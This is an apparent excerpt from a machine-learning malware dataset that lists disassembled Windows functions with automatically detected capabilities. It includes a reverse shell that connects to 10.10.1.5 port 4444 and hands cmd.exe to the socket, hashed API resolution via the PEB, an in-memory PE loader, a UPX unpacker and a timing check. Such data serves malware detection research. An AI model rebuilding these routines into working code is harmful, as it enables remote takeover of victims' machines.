joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403f00
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
sub esp, 0x10
mov eax, dword fs:[0x30]
mov dword [esp + 0xc], ecx
push ebx
push ebp
mov ecx, dword [eax + 0xc]
add ecx, 0xc
push esi
push edi
mov dword [esp + 0x18], ecx
mov ebp, dword [ecx]
cmp ebp, ecx
je 0x404030
mov edx, dword [ebp + 0x30]
mov dword [esp + 0x14], 0x99a0
add dword [esp + 0x14], 0x7e22
mov eax, dword [esp + 0x14]
lea eax, [eax + eax*8]
mov dword [esp + 0x14], eax
xor dword [esp + 0x14], 0x9d5d2
mov dword [esp + 0x10], 0xffb7
add dword [esp + 0x10], 0xffffc0e2
xor dword [esp + 0x10], 0xc09f
mov dword [esp + 0x10], 0x28c6
or dword [esp + 0x10], 0xecedb68f
add dword [esp + 0x10], 0xbdfb
shl dword [esp + 0x10], 0xb
xor dword [esp + 0x10], 0x73e65010
cmp word [edx], 0
je 0x404016
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x10], 0xffb7
add dword [esp + 0x10], 0xffffc0e2
xor dword [esp + 0x10], 0xc09f
movzx ecx, byte [esp + 0x10]
mov esi, dword [esp + 0x14]
mov dword [esp + 0x10], 0x28c6
or dword [esp + 0x10], 0xecedb68f
add dword [esp + 0x10], 0xbdfb
shl dword [esp + 0x10], 0xb
xor dword [esp + 0x10], 0x73e65010
shl esi, cl
movzx ecx, byte [esp + 0x10]
mov edi, dword [esp + 0x14]
movzx eax, word [edx]
shl edi, cl
cmp eax, 0x41
jb 0x403ff9
cmp eax, 0x5a
ja 0x403ff9
add eax, 0x20
mov dword [esp + 0x14], eax
add edx, 2
add dword [esp + 0x14], esi
add dword [esp + 0x14], edi
sub dword [esp + 0x14], ebx
cmp word [edx], 0
jne 0x403f92
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
xor eax, 0x3808cc1b
cmp eax, dword [esp + 0x1c]
je 0x40403a
mov ebp, dword [ebp]
cmp ebp, ecx
jne 0x403f25
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x404310
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub esp, 0x14
push ebp
mov ebp, ecx
mov dword [esp + 0x10], ebp
push edi
cmp edx, 0x40
jb 0x4044ae
mov eax, 0x5a4d
cmp word [ebp], ax
jne 0x4044ae
mov edi, dword [ebp + 0x3c]
add edi, ebp
mov dword [esp + 0x18], edi
cmp dword [edi], 0x4550
jne 0x4044ae
mov eax, 0x10b
cmp word [edi + 0x18], ax
jne 0x4044ae
mov eax, dword [0x40dc0c]
test eax, eax
jne 0x40437b
mov ecx, 0xb7762a69
call fcn.00403f00
mov edx, 0x5a6cd0b2
mov ecx, eax
call fcn.00403e60
mov dword [0x40dc0c], eax
push ebx
push 0x40
push 0x3000
push dword [edi + 0x50]
push 0
call eax
mov ebx, eax
test ebx, ebx
je 0x4044a5
movzx ecx, word [edi + 0x14]
push esi
lea esi, [edi + 0x18]
add esi, ecx
movzx ecx, word [edi + 6]
mov dword [esp + 0x18], esi
lea ecx, [ecx + ecx*4]
lea eax, [esi + ecx*8]
mov dword [esp + 0x14], eax
mov eax, dword [edi + 0x54]
mov dword [esp + 0x10], eax
mov eax, dword [0x40decc]
test eax, eax
jne 0x4043db
mov ecx, 0xea26ec0f
call fcn.00403f00
mov edx, 0x5e00a98f
mov ecx, eax
call fcn.00403e60
mov dword [0x40decc], eax
push dword [esp + 0x10]
push ebp
push ebx
call eax
mov ecx, dword [esp + 0x20]
add esp, 0xc
cmp esi, ecx
jae 0x40445e
sub ecx, dword [esp + 0x18]
mov eax, 0xcccccccd
dec ecx
add esi, 0x10
mul ecx
mov ecx, edx
shr ecx, 5
inc ecx
mov edi, ecx
mov ebp, dword [esi]
cmp dword [esi - 8], ebp
mov eax, dword [esi + 4]
cmovb ebp, dword [esi - 8]
add eax, dword [esp + 0x1c]
mov dword [esp + 0x18], eax
mov eax, dword [esi - 4]
add eax, ebx
mov dword [esp + 0x14], eax
mov eax, dword [0x40decc]
test eax, eax
jne 0x404446
mov ecx, 0xea26ec0f
call fcn.00403f00
mov edx, 0x5e00a98f
mov ecx, eax
call fcn.00403e60
mov dword [0x40decc], eax
push ebp
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call eax
add esp, 0xc
add esi, 0x28
dec edi
jne 0x404405
mov edi, dword [esp + 0x20]
mov edx, edi
mov ecx, ebx
call fcn.004045e0
mov edx, edi
mov ecx, ebx
call fcn.004044f0
pop esi
test eax, eax
jne 0x4044a5
mov eax, dword [0x40df10]
test eax, eax
jne 0x404499
mov ecx, 0xb7762a69
call fcn.00403f00
mov edx, 0x994fa9af
mov ecx, eax
call fcn.00403e60
mov dword [0x40df10], eax
push 0x8000
push 0
push ebx
call eax
xor ebx, ebx
mov eax, ebx
pop ebx
pop edi
pop ebp
add esp, 0x14
ret
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
Function at 0x402590
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
call fcn.00401590
mov dword [ebp - 0xc], str.10.10.1.5
mov word [ebp - 0xe], 0x115c
mov dword [esp + 4], 0x403060
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSASocketA]
call eax
sub esp, 0x18
mov dword [0x403034], eax
mov word [0x403024], 2
movzx eax, word [ebp - 0xe]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [0x403026], ax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [0x403028], eax
mov eax, dword [0x403034]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x403024
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_WSAConnect]
call eax
sub esp, 0x1c
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x403200
call sub.msvcrt.dll_memset
mov dword [0x403200], 0x44
mov dword [0x40322c], 0x100
mov eax, dword [0x403034]
mov dword [0x403240], eax
mov eax, dword [0x403240]
mov dword [0x40323c], eax
mov eax, dword [0x40323c]
mov dword [0x403238], eax
mov dword [esp + 0x24], 0x403038
mov dword [esp + 0x20], 0x403200
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd.exe
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [esp], 0
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
jmp fcn.00401420
Function at 0x43b647
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop esi
or eax, edi
push edi
pop edi
call fcn.0043b67f
and edi, eax
xor dword [edx], esi
sub edi, 0x68bd3cf0
mov edi, 0x8d3713b7
inc edx
sub edi, eax
cmp edx, ecx
jne fcn.0043b647
inc edi
sub edi, 0xc4f090d3
or edi, eax
ret

Function at 0x406609
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x406640
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x40661a
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x406615
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406671
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x406653
pop edi
not eax
pop esi
ret 0xc
Function at 0x4c1740
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x76000]
push edi
or ebp, 0xffffffff
jmp 0x4c1762
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4c1769
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c1758
mov eax, 1
add ebx, ebx
jne 0x4c177b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4c178c
jne 0x4c17ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c17ab
dec eax
add ebx, ebx
jne 0x4c1798
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4c1770
add ebx, ebx
jne 0x4c17a7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4c17fd
xor ecx, ecx
sub eax, 3
jb 0x4c17c3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4c1832
sar eax, 1
mov ebp, eax
jmp 0x4c17ce
add ebx, ebx
jne 0x4c17ce
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c179c
inc ecx
add ebx, ebx
jne 0x4c17dc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c179c
add ebx, ebx
jne 0x4c17e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4c17de
jne 0x4c17fa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4c17de
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4c181c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4c180e
jmp 0x4c175e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4c181c
add edi, ecx
jmp 0x4c175e
pop esi
mov edi, esi
mov ecx, 0x3887
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4c183a
cmp byte [edi], 0x11
jne 0x4c183a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4c183f
lea edi, [esi + 0xbd000]
mov eax, dword [edi]
or eax, eax
je 0x4c18b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc2090]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc21e4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4c186c
mov ecx, edi
jns 0x4c189b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc21e8]
or eax, eax
je 0x4c18b1
mov dword [ebx], eax
add ebx, 4
jmp 0x4c1889
call dword [esi + 0xc21f8]
mov ebp, dword [esi + 0xc21ec]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4c18eb
sub esp, 0xffffff80
jmp 0x417520
Function at 0x405e04
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405e6a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404450
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402ea4
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405e54
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405e71
lea eax, [ebp - 0x10]
call fcn.004041e0
ret

Function at 0x40ae20
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40ae59
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004042d0
jmp 0x40ae62
mov eax, ebx
mov edx, esi
call fcn.00404234
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40ae6c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40ae8d
mov al, byte [esp]
jmp 0x40ae8f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40be44
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40bf1a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404278
lea eax, [ebp - 8]
call fcn.004046f0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004046a0
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40bf04
mov eax, ebx
call fcn.00402a28
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40befd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004046a0
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40bee7
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40bf2c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40bee7
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bf04
mov eax, dword [ebp - 0x10]
call fcn.00402a58
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bf21
lea eax, [ebp - 8]
call fcn.004041e0
ret
Function at 0x40c3f4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40c458
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404450
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.0040818c
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c45f
lea eax, [ebp - 0xc]
call fcn.004041e0
ret

Function at 0x41a5b4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x451884
cmp dword [edi], 0
jne 0x41a630
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x451880]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x44f3ec
mov ecx, 2
call fcn.00402c48
mov edx, 0x41a58c
lea eax, [esi + 5]
call fcn.0041a5ac
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041a5ac
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41a605
mov dword [0x451880], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41b844
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41b84a
ret

Function at 0x41dcbc
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41dd0d
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41dcf4
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41dce4
jmp 0x41dd0d
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41dcf5
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4281a4
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x4280f0
call sub.user32.dll_EnumWindows
ret

Function at 0x4282c4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x428341
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00427d24
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x4282e9
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.00427924
cmp dword [ebp - 4], 0
je 0x42832b
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.004046a0
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x428348
lea eax, [ebp - 4]
call fcn.004041e0
ret

Function at 0x42b060
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x451b54], 0
je 0x42b1af
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x44ffc0]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x42b1af
mov eax, dword [0x451b58]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x451b54]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x42b17e
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x451b54]
call fcn.00413b84
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x42b176
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x42b176
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x42b176
mov eax, dword [ebp - 0x14]
call fcn.00433c9c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x42b176
push ebp
call fcn.0042b01c
pop ecx
test al, al
jne 0x42b176
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x42b132
mov eax, dword [ebp - 0x14]
call fcn.004327cc
dec eax
jle 0x42b176
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.00403674
cmp byte [ebp - 1], 0
je 0x42b176
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x42b176
mov edx, dword [ebp - 0x14]
mov eax, dword [0x451b58]
call fcn.0042a7e8
inc edi
dec ebx
jne 0x42b0c5
mov eax, dword [0x451b58]
cmp dword [eax + 8], 0
jle 0x42b196
mov eax, dword [0x451b58]
call fcn.0042a878
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x42b1af
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0042ae84
pop ecx
test al, al
jne 0x42b1af
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42e774
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x42e7c0
mov eax, esi
call fcn.00443d48
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x42e7c0
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x42e7c0
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x42e8ff
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x42e800
cmp eax, 0x108
ja 0x42e800
mov eax, esi
call fcn.00443d48
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x42e8f6
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x42e8ff
jmp 0x42e8f6
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x42e8df
cmp eax, 0x20a
ja 0x42e8df
test byte [esi + 0x50], 0x80
jne 0x42e832
sub eax, 0x203
je 0x42e82f
sub eax, 3
je 0x42e82f
sub eax, 3
jne 0x42e832
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x42e846
dec eax
je 0x42e85b
dec eax
je 0x42e878
dec eax
je 0x42e85b
jmp 0x42e87f
mov ecx, ebx
mov eax, dword [0x44ffc0]
mov eax, dword [eax]
mov edx, esi
call fcn.0044d610
jmp 0x42e8f6
cmp byte [esi + 0x5d], 1
jne 0x42e871
mov eax, esi
mov si, 0xffed
call fcn.00403674
jmp 0x42e8ff
or word [esi + 0x54], 1
jmp 0x42e8f6
and word [esi + 0x54], 0xfffe
jmp 0x42e8f6
mov eax, dword [0x451b10]
cmp byte [eax + 0x20], 0
je 0x42e8f6
mov eax, dword [0x451b10]
cmp dword [eax + 0x1c], 0
je 0x42e8f6
mov eax, dword [ebx]
mov edx, dword [0x451b10]
cmp eax, dword [edx + 0x1c]
jne 0x42e8f6
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.00443c8c
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.00403674
jmp 0x42e8ff
cmp eax, 0xb00b
jne 0x42e8f6
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.0042d0b0
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x431e2c
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x431e48
cmp dword [esi + 4], 0
je 0x431e75
test byte [ebx + 0x55], 1
jne 0x431e67
mov eax, ebx
call fcn.004309cc
test eax, eax
jne 0x431e67
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x431f85
mov edx, esi
mov eax, ebx
call fcn.00431950
jmp 0x431f85
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x431f7e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00433c9c
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.0042e6a8
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.00431e2c
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00433c9c
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x431f85
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret